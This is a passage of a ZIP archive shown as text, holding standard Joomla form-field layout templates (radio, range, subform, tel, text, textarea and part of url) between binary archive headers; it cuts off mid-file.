* @var string $onclick Onclick attribute for the field.
* @var string $pattern Pattern (Reg Ex) of value of the form
field.
* @var boolean $readonly Is this field read only?
* @var boolean $repeat Allows extensions to duplicate
elements.
* @var boolean $required Is this field required?
* @var integer $size Size attribute of the input.
* @var boolean $spellcheck Spellcheck state for the form field.
* @var string $validate Validation rules to apply.
* @var string $value Value attribute of the field.
* @var array $options Options available for this field.
*/
// Including fallback code for HTML5 non supported browsers.
JHtml::_('jquery.framework');
JHtml::_('script', 'system/html5fallback.js',
array('version' => 'auto', 'relative'
=> true, 'conditional' => 'lt IE 9'));
/**
* The format of the input tag to be filled in using sprintf.
* %1 - id
* %2 - name
* %3 - value
* %4 = any other attributes
*/
$format = '<input type="radio" id="%1$s"
name="%2$s" value="%3$s" %4$s />';
$alt = preg_replace('/[^a-zA-Z0-9_\-]/', '_',
$name);
?>
<fieldset id="<?php echo $id; ?>" class="<?php
echo trim($class . ' radio' . ($readonly || $disabled ? '
disabled' : '') . ($readonly ? ' readonly' :
'')); ?>"
<?php echo $disabled ? 'disabled' : ''; ?>
<?php echo $readonly || $disabled ? 'style="pointer-events:
none"' : '' ?>
<?php echo $required ? 'required
aria-required="true"' : ''; ?>
<?php echo $autofocus ? 'autofocus' : ''; ?>>
<?php if (!empty($options)) : ?>
<?php foreach ($options as $i => $option) : ?>
<?php
// Initialize some option attributes.
$checked = ((string) $option->value === $value) ?
'checked="checked"' : '';
$disabled = !empty($option->disable) ? 'disabled' :
'';
$style = $disabled ? 'style="pointer-events:
none"' : '';
$option->class = !empty($option->class) ? $option->class :
'';
$option->class = trim($option->class . ' ' .
$disabled);
$optionClass = !empty($option->class) ? 'class="'
. $option->class . '"' : '';
// Initialize some JavaScript option attributes.
$onclick = !empty($option->onclick) ? 'onclick="'
. $option->onclick . '"' : '';
$onchange = !empty($option->onchange) ?
'onchange="' . $option->onchange . '"' :
'';
$oid = $id . $i;
$ovalue = htmlspecialchars($option->value, ENT_COMPAT,
'UTF-8');
$attributes = array_filter(array($checked, $optionClass, $disabled,
$style, $onchange, $onclick));
?>
<?php if ($required) : ?>
<?php $attributes[] = 'required
aria-required="true"'; ?>
<?php endif; ?>
<?php echo sprintf($format, $oid, $name, $ovalue, implode('
', $attributes)); ?>
<label for="<?php echo $oid; ?>" <?php echo
trim($optionClass . ' ' . $style); ?>>
<?php echo $option->text; ?>
</label>
<?php endforeach; ?>
<?php endif; ?>
</fieldset>
PK�J�[Z���joomla/form/field/range.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2016 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
extract($displayData);
/**
* Layout variables
* -----------------
* @var string $autocomplete Autocomplete attribute for the field.
* @var boolean $autofocus Is autofocus enabled?
* @var string $class Classes for the input.
* @var string $description Description of the field.
* @var boolean $disabled Is this field disabled?
* @var string $group Group the field belongs to.
<fields> section in form XML.
* @var boolean $hidden Is this field hidden in the form?
* @var string $hint Placeholder for the field.
* @var string $id DOM id of the field.
* @var string $label Label of the field.
* @var string $labelclass Classes to apply to the label.
* @var boolean $multiple Does this field support multiple
values?
* @var string $name Name of the input field.
* @var string $onchange Onchange attribute for the field.
* @var string $onclick Onclick attribute for the field.
* @var string $pattern Pattern (Reg Ex) of value of the form
field.
* @var boolean $readonly Is this field read only?
* @var boolean $repeat Allows extensions to duplicate
elements.
* @var boolean $required Is this field required?
* @var integer $size Size attribute of the input.
* @var boolean $spellcheck Spellcheck state for the form field.
* @var string $validate Validation rules to apply.
* @var string $value Value attribute of the field.
* @var array $checkedOptions Options that will be set as checked.
* @var boolean $hasValue Has this field a value assigned?
* @var array $options Options available for this field.
* @var array $inputType Options available for this field.
* @var string $accept File types that are accepted.
*/
// Including fallback code for HTML5 non supported browsers.
JHtml::_('jquery.framework');
JHtml::_('script', 'system/html5fallback.js',
array('version' => 'auto', 'relative'
=> true, 'conditional' => 'lt IE 9'));
// Initialize some field attributes.
$attributes = array(
$class ? 'class="' . $class . '"' :
'',
$disabled ? 'disabled' : '',
$readonly ? 'readonly' : '',
!empty($onchange) ? 'onchange="' . $onchange .
'"' : '',
!empty($max) ? 'max="' . $max . '"' :
'',
!empty($step) ? 'step="' . $step . '"' :
'',
!empty($min) ? 'min="' . $min . '"' :
'',
$autofocus ? 'autofocus' : '',
);
$value = is_numeric($value) ? (float) $value : $min;
?>
<input type="range" name="<?php
echo $name; ?>" id="<?php
echo $id; ?>" value="<?php
echo htmlspecialchars($value, ENT_COMPAT, 'UTF-8'); ?>"
<?php
echo implode(' ', $attributes); ?> />
PK�J�[�����%joomla/form/field/subform/default.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2016 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
/**
* Make thing clear
*
* @var JForm $tmpl The Empty form for template
* @var array $forms Array of JForm instances for render the
rows
* @var bool $multiple The multiple state for the form field
* @var int $min Count of minimum repeating in multiple
mode
* @var int $max Count of maximum repeating in multiple
mode
* @var string $fieldname The field name
* @var string $control The forms control
* @var string $label The field label
* @var string $description The field description
* @var array $buttons Array of the buttons that will be
rendered
* @var bool $groupByFieldset Whether group the subform fields by it`s
fieldset
*/
extract($displayData);
$form = $forms[0];
?>
<div class="subform-wrapper">
<?php foreach ($form->getGroup('') as $field) : ?>
<?php echo $field->renderField(); ?>
<?php endforeach; ?>
</div>
PK�J�[�R��<joomla/form/field/subform/repeatable/section-byfieldsets.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2016 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
/**
* Make thing clear
*
* @var JForm $form The form instance for render the section
* @var string $basegroup The base group name
* @var string $group Current group name
* @var array $buttons Array of the buttons that will be rendered
*/
extract($displayData);
?>
<div
class="subform-repeatable-group subform-repeatable-group-<?php
echo $unique_subform_id; ?>"
data-base-name="<?php echo $basegroup; ?>"
data-group="<?php echo $group; ?>"
>
<?php if (!empty($buttons)) : ?>
<div class="btn-toolbar text-right">
<div class="btn-group">
<?php if (!empty($buttons['add'])) : ?>
<a class="btn btn-mini button btn-success group-add
group-add-<?php echo $unique_subform_id; ?>"
aria-label="<?php echo JText::_('JGLOBAL_FIELD_ADD');
?>">
<span class="icon-plus"
aria-hidden="true"></span>
</a>
<?php endif; ?>
<?php if (!empty($buttons['remove'])) : ?>
<a class="btn btn-mini button btn-danger group-remove
group-remove-<?php echo $unique_subform_id; ?>"
aria-label="<?php echo JText::_('JGLOBAL_FIELD_REMOVE');
?>">
<span class="icon-minus"
aria-hidden="true"></span>
</a>
<?php endif; ?>
<?php if (!empty($buttons['move'])) : ?>
<a class="btn btn-mini button btn-primary group-move
group-move-<?php echo $unique_subform_id; ?>"
aria-label="<?php echo JText::_('JGLOBAL_FIELD_MOVE');
?>">
<span class="icon-move"
aria-hidden="true"></span>
</a>
<?php endif; ?>
</div>
</div>
<?php endif; ?>
<div class="row-fluid">
<?php foreach ($form->getFieldsets() as $fieldset) : ?>
<fieldset class="<?php if (!empty($fieldset->class)){ echo
$fieldset->class; } ?>">
<?php if (!empty($fieldset->label)) : ?>
<legend><?php echo JText::_($fieldset->label);
?></legend>
<?php endif; ?>
<?php foreach ($form->getFieldset($fieldset->name) as $field) :
?>
<?php echo $field->renderField(); ?>
<?php endforeach; ?>
</fieldset>
<?php endforeach; ?>
</div>
</div>
PK�J�[~�M<<0joomla/form/field/subform/repeatable/section.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2016 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
/**
* Make thing clear
*
* @var JForm $form The form instance for render the section
* @var string $basegroup The base group name
* @var string $group Current group name
* @var array $buttons Array of the buttons that will be rendered
*/
extract($displayData);
?>
<div
class="subform-repeatable-group subform-repeatable-group-<?php
echo $unique_subform_id; ?>"
data-base-name="<?php echo $basegroup; ?>"
data-group="<?php echo $group; ?>"
>
<?php if (!empty($buttons)) : ?>
<div class="btn-toolbar text-right">
<div class="btn-group">
<?php if (!empty($buttons['add'])) : ?>
<a class="btn btn-mini button btn-success group-add
group-add-<?php echo $unique_subform_id; ?>"
aria-label="<?php echo JText::_('JGLOBAL_FIELD_ADD');
?>">
<span class="icon-plus"
aria-hidden="true"></span>
</a>
<?php endif; ?>
<?php if (!empty($buttons['remove'])) : ?>
<a class="btn btn-mini button btn-danger group-remove
group-remove-<?php echo $unique_subform_id; ?>"
aria-label="<?php echo JText::_('JGLOBAL_FIELD_REMOVE');
?>">
<span class="icon-minus"
aria-hidden="true"></span>
</a>
<?php endif; ?>
<?php if (!empty($buttons['move'])) : ?>
<a class="btn btn-mini button btn-primary group-move
group-move-<?php echo $unique_subform_id; ?>"
aria-label="<?php echo JText::_('JGLOBAL_FIELD_MOVE');
?>">
<span class="icon-move"
aria-hidden="true"></span>
</a>
<?php endif; ?>
</div>
</div>
<?php endif; ?>
<?php foreach ($form->getGroup('') as $field) : ?>
<?php echo $field->renderField(); ?>
<?php endforeach; ?>
</div>
PK�J�[al,p��Bjoomla/form/field/subform/repeatable-table/section-byfieldsets.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2016 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
/**
* Make thing clear
*
* @var JForm $form The form instance for render the section
* @var string $basegroup The base group name
* @var string $group Current group name
* @var array $buttons Array of the buttons that will be rendered
*/
extract($displayData);
?>
<tr
class="subform-repeatable-group subform-repeatable-group-<?php
echo $unique_subform_id; ?>"
data-base-name="<?php echo $basegroup; ?>"
data-group="<?php echo $group; ?>"
>
<?php foreach ($form->getFieldsets() as $fieldset) : ?>
<td class="<?php if (!empty($fieldset->class)){ echo
$fieldset->class; } ?>" data-column="<?php echo
$fieldset->name; ?>">
<?php foreach ($form->getFieldset($fieldset->name) as $field) :
?>
<?php echo $field->renderField(); ?>
<?php endforeach; ?>
</td>
<?php endforeach; ?>
<?php if (!empty($buttons)) : ?>
<td>
<div class="btn-group">
<?php if (!empty($buttons['add'])) : ?>
<a class="btn btn-mini button btn-success group-add
group-add-<?php echo $unique_subform_id; ?>"
aria-label="<?php echo JText::_('JGLOBAL_FIELD_ADD');
?>">
<span class="icon-plus"
aria-hidden="true"></span>
</a>
<?php endif; ?>
<?php if (!empty($buttons['remove'])) : ?>
<a class="btn btn-mini button btn-danger group-remove
group-remove-<?php echo $unique_subform_id; ?>"
aria-label="<?php echo JText::_('JGLOBAL_FIELD_REMOVE');
?>">
<span class="icon-minus"
aria-hidden="true"></span>
</a>
<?php endif; ?>
<?php if (!empty($buttons['move'])) : ?>
<a class="btn btn-mini button btn-primary group-move
group-move-<?php echo $unique_subform_id; ?>"
aria-label="<?php echo JText::_('JGLOBAL_FIELD_MOVE');
?>">
<span class="icon-move"
aria-hidden="true"></span>
</a>
<?php endif; ?>
</div>
</td>
<?php endif; ?>
</tr>
PK�J�[��{{6joomla/form/field/subform/repeatable-table/section.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2016 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
/**
* Make thing clear
*
* @var JForm $form The form instance for render the section
* @var string $basegroup The base group name
* @var string $group Current group name
* @var array $buttons Array of the buttons that will be rendered
*/
extract($displayData);
?>
<tr
class="subform-repeatable-group subform-repeatable-group-<?php
echo $unique_subform_id; ?>"
data-base-name="<?php echo $basegroup; ?>"
data-group="<?php echo $group; ?>"
>
<?php foreach ($form->getGroup('') as $field) : ?>
<td data-column="<?php echo strip_tags($field->label);
?>">
<?php echo $field->renderField(array('hiddenLabel' =>
true)); ?>
</td>
<?php endforeach; ?>
<?php if (!empty($buttons)) : ?>
<td>
<div class="btn-group">
<?php if (!empty($buttons['add'])) : ?>
<a class="btn btn-mini button btn-success group-add
group-add-<?php echo $unique_subform_id; ?>"
aria-label="<?php echo JText::_('JGLOBAL_FIELD_ADD');
?>">
<span class="icon-plus"
aria-hidden="true"></span>
</a>
<?php endif; ?>
<?php if (!empty($buttons['remove'])) : ?>
<a class="btn btn-mini button btn-danger group-remove
group-remove-<?php echo $unique_subform_id; ?>"
aria-label="<?php echo JText::_('JGLOBAL_FIELD_REMOVE');
?>">
<span class="icon-minus"
aria-hidden="true"></span>
</a>
<?php endif; ?>
<?php if (!empty($buttons['move'])) : ?>
<a class="btn btn-mini button btn-primary group-move
group-move-<?php echo $unique_subform_id; ?>"
aria-label="<?php echo JText::_('JGLOBAL_FIELD_MOVE');
?>">
<span class="icon-move"
aria-hidden="true"></span>
</a>
<?php endif; ?>
</div>
</td>
<?php endif; ?>
</tr>
PK�J�[�F���.joomla/form/field/subform/repeatable-table.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2016 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
/**
* Make thing clear
*
* @var JForm $tmpl The Empty form for template
* @var array $forms Array of JForm instances for render the
rows
* @var bool $multiple The multiple state for the form field
* @var int $min Count of minimum repeating in multiple
mode
* @var int $max Count of maximum repeating in multiple
mode
* @var string $fieldname The field name
* @var string $control The forms control
* @var string $label The field label
* @var string $description The field description
* @var array $buttons Array of the buttons that will be
rendered
* @var bool $groupByFieldset Whether group the subform fields by it`s
fieldset
*/
extract($displayData);
// Add script
if ($multiple)
{
JHtml::_('jquery.ui', array('core',
'sortable'));
JHtml::_('script', 'system/subform-repeatable.js',
array('version' => 'auto', 'relative'
=> true));
}
// Build heading
$table_head = '';
if (!empty($groupByFieldset))
{
foreach ($tmpl->getFieldsets() as $fieldset) {
$table_head .= '<th>' . JText::_($fieldset->label);
if ($fieldset->description)
{
$table_head .= '<br /><small
style="font-weight:normal">' .
JText::_($fieldset->description) . '</small>';
}
$table_head .= '</th>';
}
$sublayout = 'section-byfieldsets';
}
else
{
foreach ($tmpl->getGroup('') as $field) {
$table_head .= '<th>' . strip_tags($field->label);
if ($field->description)
{
$table_head .= '<br /><small
style="font-weight:normal">' .
JText::_($field->description) . '</small>';
}
$table_head .= '</th>';
}
$sublayout = 'section';
// Label will not be shown for sections layout, so reset the margin left
JFactory::getDocument()->addStyleDeclaration(
'.subform-table-sublayout-section .controls { margin-left: 0px
}'
);
}
?>
<div class="row-fluid">
<div class="subform-repeatable-wrapper subform-table-layout
subform-table-sublayout-<?php echo $sublayout; ?>
form-vertical">
<div
class="subform-repeatable"
data-bt-add="a.group-add-<?php echo $unique_subform_id;
?>"
data-bt-remove="a.group-remove-<?php echo $unique_subform_id;
?>"
data-bt-move="a.group-move-<?php echo $unique_subform_id;
?>"
data-repeatable-element="tr.subform-repeatable-group-<?php echo
$unique_subform_id; ?>"
data-rows-container="tbody.rows-container-<?php echo
$unique_subform_id; ?>"
data-minimum="<?php echo $min; ?>"
data-maximum="<?php echo $max; ?>"
>
<table class="adminlist table table-striped
table-bordered">
<thead>
<tr>
<?php echo $table_head; ?>
<?php if (!empty($buttons)) : ?>
<th style="width:8%;">
<?php if (!empty($buttons['add'])) : ?>
<div class="btn-group">
<a
class="btn btn-mini button btn-success group-add
group-add-<?php echo $unique_subform_id; ?>"
aria-label="<?php echo
JText::_('JGLOBAL_FIELD_ADD'); ?>"
>
<span class="icon-plus"
aria-hidden="true"></span>
</a>
</div>
<?php endif; ?>
</th>
<?php endif; ?>
</tr>
</thead>
<tbody class="rows-container-<?php echo $unique_subform_id;
?>">
<?php foreach ($forms as $k => $form):
echo $this->sublayout(
$sublayout,
array(
'form' => $form,
'basegroup' => $fieldname,
'group' => $fieldname . $k,
'buttons' => $buttons,
'unique_subform_id' => $unique_subform_id,
)
);
endforeach; ?>
</tbody>
</table>
<?php if ($multiple) : ?>
<template class="subform-repeatable-template-section"
style="display: none;"><?php
// Use str_replace to escape HTML in a simple way, it need for IE
compatibility, and should be removed later
echo str_replace(
array('<', '>'),
array('SUBFORMLT', 'SUBFORMGT'),
trim(
$this->sublayout(
$sublayout,
array(
'form' => $tmpl,
'basegroup' => $fieldname,
'group' => $fieldname . 'X',
'buttons' => $buttons,
'unique_subform_id' => $unique_subform_id,
)
)
)
);
?></template>
<?php endif; ?>
</div>
</div>
</div>
PK�J�[^�B%%(joomla/form/field/subform/repeatable.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2016 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
/**
* Make thing clear
*
* @var JForm $tmpl The Empty form for template
* @var array $forms Array of JForm instances for render the
rows
* @var bool $multiple The multiple state for the form field
* @var int $min Count of minimum repeating in multiple
mode
* @var int $max Count of maximum repeating in multiple
mode
* @var string $fieldname The field name
* @var string $control The forms control
* @var string $label The field label
* @var string $description The field description
* @var array $buttons Array of the buttons that will be
rendered
* @var bool $groupByFieldset Whether group the subform fields by it`s
fieldset
*/
extract($displayData);
// Add script
if ($multiple)
{
JHtml::_('jquery.ui', array('core',
'sortable'));
JHtml::_('script', 'system/subform-repeatable.js',
array('version' => 'auto', 'relative'
=> true));
}
$sublayout = empty($groupByFieldset) ? 'section' :
'section-byfieldsets';
?>
<div class="row-fluid">
<div class="subform-repeatable-wrapper subform-layout">
<div class="subform-repeatable"
data-bt-add="a.group-add-<?php echo $unique_subform_id;
?>"
data-bt-remove="a.group-remove-<?php echo $unique_subform_id;
?>"
data-bt-move="a.group-move-<?php echo $unique_subform_id;
?>"
data-repeatable-element="div.subform-repeatable-group-<?php echo
$unique_subform_id; ?>"
data-minimum="<?php echo $min; ?>"
data-maximum="<?php echo $max; ?>"
>
<?php if (!empty($buttons['add'])) : ?>
<div class="btn-toolbar">
<div class="btn-group">
<a class="btn btn-mini button btn-success group-add
group-add-<?php echo $unique_subform_id; ?>"
aria-label="<?php echo JText::_('JGLOBAL_FIELD_ADD');
?>">
<span class="icon-plus"
aria-hidden="true"></span>
</a>
</div>
</div>
<?php endif; ?>
<?php
foreach ($forms as $k => $form) :
echo $this->sublayout(
$sublayout,
array(
'form' => $form,
'basegroup' => $fieldname,
'group' => $fieldname . $k,
'buttons' => $buttons,
'unique_subform_id' => $unique_subform_id,
)
);
endforeach;
?>
<?php if ($multiple) : ?>
<template class="subform-repeatable-template-section"
style="display: none;"><?php
// Use str_replace to escape HTML in a simple way, it need for IE
compatibility, and should be removed later
echo str_replace(
array('<', '>'),
array('SUBFORMLT', 'SUBFORMGT'),
trim(
$this->sublayout(
$sublayout,
array(
'form' => $tmpl,
'basegroup' => $fieldname,
'group' => $fieldname . 'X',
'buttons' => $buttons,
'unique_subform_id' => $unique_subform_id,
)
)
)
);
?></template>
<?php endif; ?>
</div>
</div>
</div>
PK�J�[
��PA
A
joomla/form/field/tel.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2017 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
extract($displayData);
/**
* Layout variables
* -----------------
* @var string $autocomplete Autocomplete attribute for the field.
* @var boolean $autofocus Is autofocus enabled?
* @var string $class Classes for the input.
* @var string $description Description of the field.
* @var boolean $disabled Is this field disabled?
* @var string $group Group the field belongs to.
<fields> section in form XML.
* @var boolean $hidden Is this field hidden in the form?
* @var string $hint Placeholder for the field.
* @var string $id DOM id of the field.
* @var string $label Label of the field.
* @var string $labelclass Classes to apply to the label.
* @var boolean $multiple Does this field support multiple
values?
* @var string $name Name of the input field.
* @var string $onchange Onchange attribute for the field.
* @var string $onclick Onclick attribute for the field.
* @var string $pattern Pattern (Reg Ex) of value of the form
field.
* @var boolean $readonly Is this field read only?
* @var boolean $repeat Allows extensions to duplicate
elements.
* @var boolean $required Is this field required?
* @var integer $size Size attribute of the input.
* @var boolean $spellcheck Spellcheck state for the form field.
* @var string $validate Validation rules to apply.
* @var string $value Value attribute of the field.
* @var array $checkedOptions Options that will be set as checked.
* @var boolean $hasValue Has this field a value assigned?
* @var array $options Options available for this field.
* @var array $inputType Options available for this field.
* @var string $accept File types that are accepted.
* @var integer $maxLength The maximum length that the field shall
accept.
*/
// Including fallback code for HTML5 non supported browsers.
JHtml::_('jquery.framework');
JHtml::_('script', 'system/html5fallback.js',
array('version' => 'auto', 'relative'
=> true, 'conditional' => 'lt IE 9'));
$autocomplete = !$autocomplete ? ' autocomplete="off"'
: ' autocomplete="' . $autocomplete . '"';
$autocomplete = $autocomplete == ' autocomplete="on"' ?
'' : $autocomplete;
$attributes = array(
!empty($size) ? 'size="' . $size . '"' :
'',
$disabled ? 'disabled' : '',
$readonly ? 'readonly' : '',
strlen($hint) ? 'placeholder="' . htmlspecialchars($hint,
ENT_COMPAT, 'UTF-8') . '"' : '',
$autocomplete,
$autofocus ? ' autofocus' : '',
$spellcheck ? '' : 'spellcheck="false"',
$onchange ? ' onchange="' . $onchange . '"'
: '',
!empty($maxLength) ? $maxLength : '',
$required ? 'required aria-required="true"' :
'',
);
?>
<input type="tel" name="<?php
echo $name; ?>" <?php
echo !empty($class) ? ' class="' . $class .
'"' : ''; ?> id="<?php
echo $id; ?>" value="<?php
echo htmlspecialchars($value, ENT_COMPAT, 'UTF-8'); ?>"
<?php echo implode(' ', $attributes); ?> />
PK�J�[v�����joomla/form/field/text.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2016 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
extract($displayData);
/**
* Layout variables
* -----------------
* @var string $autocomplete Autocomplete attribute for the field.
* @var boolean $autofocus Is autofocus enabled?
* @var string $class Classes for the input.
* @var string $description Description of the field.
* @var boolean $disabled Is this field disabled?
* @var string $group Group the field belongs to.
<fields> section in form XML.
* @var boolean $hidden Is this field hidden in the form?
* @var string $hint Placeholder for the field.
* @var string $id DOM id of the field.
* @var string $label Label of the field.
* @var string $labelclass Classes to apply to the label.
* @var boolean $multiple Does this field support multiple
values?
* @var string $name Name of the input field.
* @var string $onchange Onchange attribute for the field.
* @var string $onclick Onclick attribute for the field.
* @var string $pattern Pattern (Reg Ex) of value of the form
field.
* @var boolean $readonly Is this field read only?
* @var boolean $repeat Allows extensions to duplicate
elements.
* @var boolean $required Is this field required?
* @var integer $size Size attribute of the input.
* @var boolean $spellcheck Spellcheck state for the form field.
* @var string $validate Validation rules to apply.
* @var string $value Value attribute of the field.
* @var array $checkedOptions Options that will be set as checked.
* @var boolean $hasValue Has this field a value assigned?
* @var array $options Options available for this field.
* @var array $inputType Options available for this field.
* @var string $accept File types that are accepted.
*/
// Including fallback code for HTML5 non supported browsers.
JHtml::_('jquery.framework');
JHtml::_('script', 'system/html5fallback.js',
array('version' => 'auto', 'relative'
=> true, 'conditional' => 'lt IE 9'));
$list = '';
if ($options)
{
$list = 'list="' . $id . '_datalist"';
}
$autocomplete = !$autocomplete ? ' autocomplete="off"'
: ' autocomplete="' . $autocomplete . '"';
$autocomplete = $autocomplete === ' autocomplete="on"'
? '' : $autocomplete;
$attributes = array(
!empty($class) ? 'class="' . $class . '"' :
'',
!empty($size) ? 'size="' . $size . '"' :
'',
$disabled ? 'disabled' : '',
$readonly ? 'readonly' : '',
$list,
strlen($hint) ? 'placeholder="' . htmlspecialchars($hint,
ENT_COMPAT, 'UTF-8') . '"' : '',
$onchange ? ' onchange="' . $onchange . '"'
: '',
!empty($maxLength) ? $maxLength : '',
$required ? 'required aria-required="true"' :
'',
$autocomplete,
$autofocus ? ' autofocus' : '',
$spellcheck ? '' : 'spellcheck="false"',
!empty($inputmode) ? $inputmode : '',
!empty($pattern) ? 'pattern="' . $pattern .
'"' : '',
);
?>
<input type="text" name="<?php
echo $name; ?>" id="<?php
echo $id; ?>" <?php
echo $dirname; ?> value="<?php
echo htmlspecialchars($value, ENT_COMPAT, 'UTF-8'); ?>"
<?php echo implode(' ', $attributes); ?> />
<?php if ($options) : ?>
<datalist id="<?php echo $id; ?>_datalist">
<?php foreach ($options as $option) : ?>
<?php if (!$option->value) : ?>
<?php continue; ?>
<?php endif; ?>
<option value="<?php echo $option->value;
?>"><?php echo $option->text; ?></option>
<?php endforeach; ?>
</datalist>
<?php endif; ?>
PK�J�[�J�
joomla/form/field/textarea.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2016 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
extract($displayData);
/**
* Layout variables
* -----------------
* @var string $autocomplete Autocomplete attribute for the field.
* @var boolean $autofocus Is autofocus enabled?
* @var string $class Classes for the input.
* @var string $description Description of the field.
* @var boolean $disabled Is this field disabled?
* @var string $group Group the field belongs to.
<fields> section in form XML.
* @var boolean $hidden Is this field hidden in the form?
* @var string $hint Placeholder for the field.
* @var string $id DOM id of the field.
* @var string $label Label of the field.
* @var string $labelclass Classes to apply to the label.
* @var boolean $multiple Does this field support multiple
values?
* @var string $name Name of the input field.
* @var string $onchange Onchange attribute for the field.
* @var string $onclick Onclick attribute for the field.
* @var string $pattern Pattern (Reg Ex) of value of the form
field.
* @var boolean $readonly Is this field read only?
* @var boolean $repeat Allows extensions to duplicate
elements.
* @var boolean $required Is this field required?
* @var integer $size Size attribute of the input.
* @var boolean $spellcheck Spellcheck state for the form field.
* @var string $validate Validation rules to apply.
* @var string $value Value attribute of the field.
* @var array $checkedOptions Options that will be set as checked.
* @var boolean $hasValue Has this field a value assigned?
* @var array $options Options available for this field.
* @var array $inputType Options available for this field.
* @var string $accept File types that are accepted.
*/
// Including fallback code for HTML5 non supported browsers.
JHtml::_('jquery.framework');
JHtml::_('script', 'system/html5fallback.js',
array('version' => 'auto', 'relative'
=> true, 'conditional' => 'lt IE 9'));
// Initialize some field attributes.
$autocomplete = !$autocomplete ? 'autocomplete="off"' :
'autocomplete="' . $autocomplete . '"';
$autocomplete = $autocomplete == 'autocomplete="on"' ?
'' : $autocomplete;
$attributes = array(
$columns ?: '',
$rows ?: '',
!empty($class) ? 'class="' . $class . '"' :
'',
strlen($hint) ? 'placeholder="' . htmlspecialchars($hint,
ENT_COMPAT, 'UTF-8') . '"' : '',
$disabled ? 'disabled' : '',
$readonly ? 'readonly' : '',
$onchange ? 'onchange="' . $onchange . '"' :
'',
$onclick ? 'onclick="' . $onclick . '"' :
'',
$required ? 'required aria-required="true"' :
'',
$autocomplete,
$autofocus ? 'autofocus' : '',
$spellcheck ? '' : 'spellcheck="false"',
$maxlength ? $maxlength: ''
);
?>
<textarea name="<?php
echo $name; ?>" id="<?php
echo $id; ?>" <?php
echo implode(' ', $attributes); ?> ><?php echo
htmlspecialchars($value, ENT_COMPAT, 'UTF-8');
?></textarea>
PK�J�['�X�
joomla/form/field/url.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2016 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
extract($displayData);
/**
* Layout variables
* -----------------
* @var string $autocomplete Autocomplete attribute for the field.
* @var boolean $autofocus Is autofocus enabled?
* @var string $class Classes for the input.
* @var string $description Description of the field.
* @var boolean $disabled Is this field disabled?
* @var string $group Group the field belongs to.
<fields> section in form XML.
* @var boolean $hidden Is this field hidden in the form?
* @var string $hint Placeholder for the field.
* @var string $id DOM id of the field.
* @var string $label Label of the field.
* @var string $labelclass Classes to apply to the label.
* @var boolean $multiple Does this field support multiple
values?
* @var string $name Name of the input field.
* @var string $onchange Onchange attribute for the field.
* @var string $onclick Onclick attribute for the field.
* @var string $pattern Pattern (Reg Ex) of value of the form
field.
* @var boolean $readonly Is this field read only?
* @var boolean $repeat Allows extensions to duplicate
elements.
* @var boolean $required Is this field required?
* @var integer $size Size attribute of the input.
* @var boolean $spellcheck Spellcheck state for the form field.
* @var string $validate Validation rules to apply.
* @var string $value Value attribute of the field.
* @var array $checkedOptions Options that will be set as checked.
* @var boolean $hasValue Has this field a value assigned?
* @var array $options Options available for this field.
* @var array $inputType Options available for this field.
* @var string $accept File types that are accepted.
*/
// Including fallback code for HTML5 non supported browsers.
JHtml::_('jquery.framework');
JHtml::_('script', 'system/html5fallback.js',
array('version' => 'auto', 'relative'
=> true, 'conditional' => 'lt IE 9'));
$autocomplete = !$autocomplete ? ' autocomplete="off"'
: ' autocomplete="' . $autocomplete . '"';
$autocomplete = $autocomplete === ' autocomplete="on"'
? '' : $autocomplete;
$attributes = array(
!empty($size) ? ' size="' . $size . '"' :
'',
$disabled ? ' disabled' : '',
$readonly ? ' readonly' : '',
strlen($hint) ? ' placeholder="' . htmlspecialchars($hint,
ENT_COMPAT, 'UTF-8') . '"' : '',
$autocomplete,
$autofocus ? ' autofocus' : '',
$spellcheck ? '' : ' spellcheck="false"',
$onchange ? ' onchange="' . $onchange . '"'
: '',
!empty($maxLength) ? $maxLength : '',
$required ? ' required aria-required="true"' :
'',
);
?>
<input <?php
echo $inputType; ?> name="<?php
echo $name; ?>" <?php
echo !empty($class) ? ' class="' . $class .
'"' : ''; ?> id="<?php
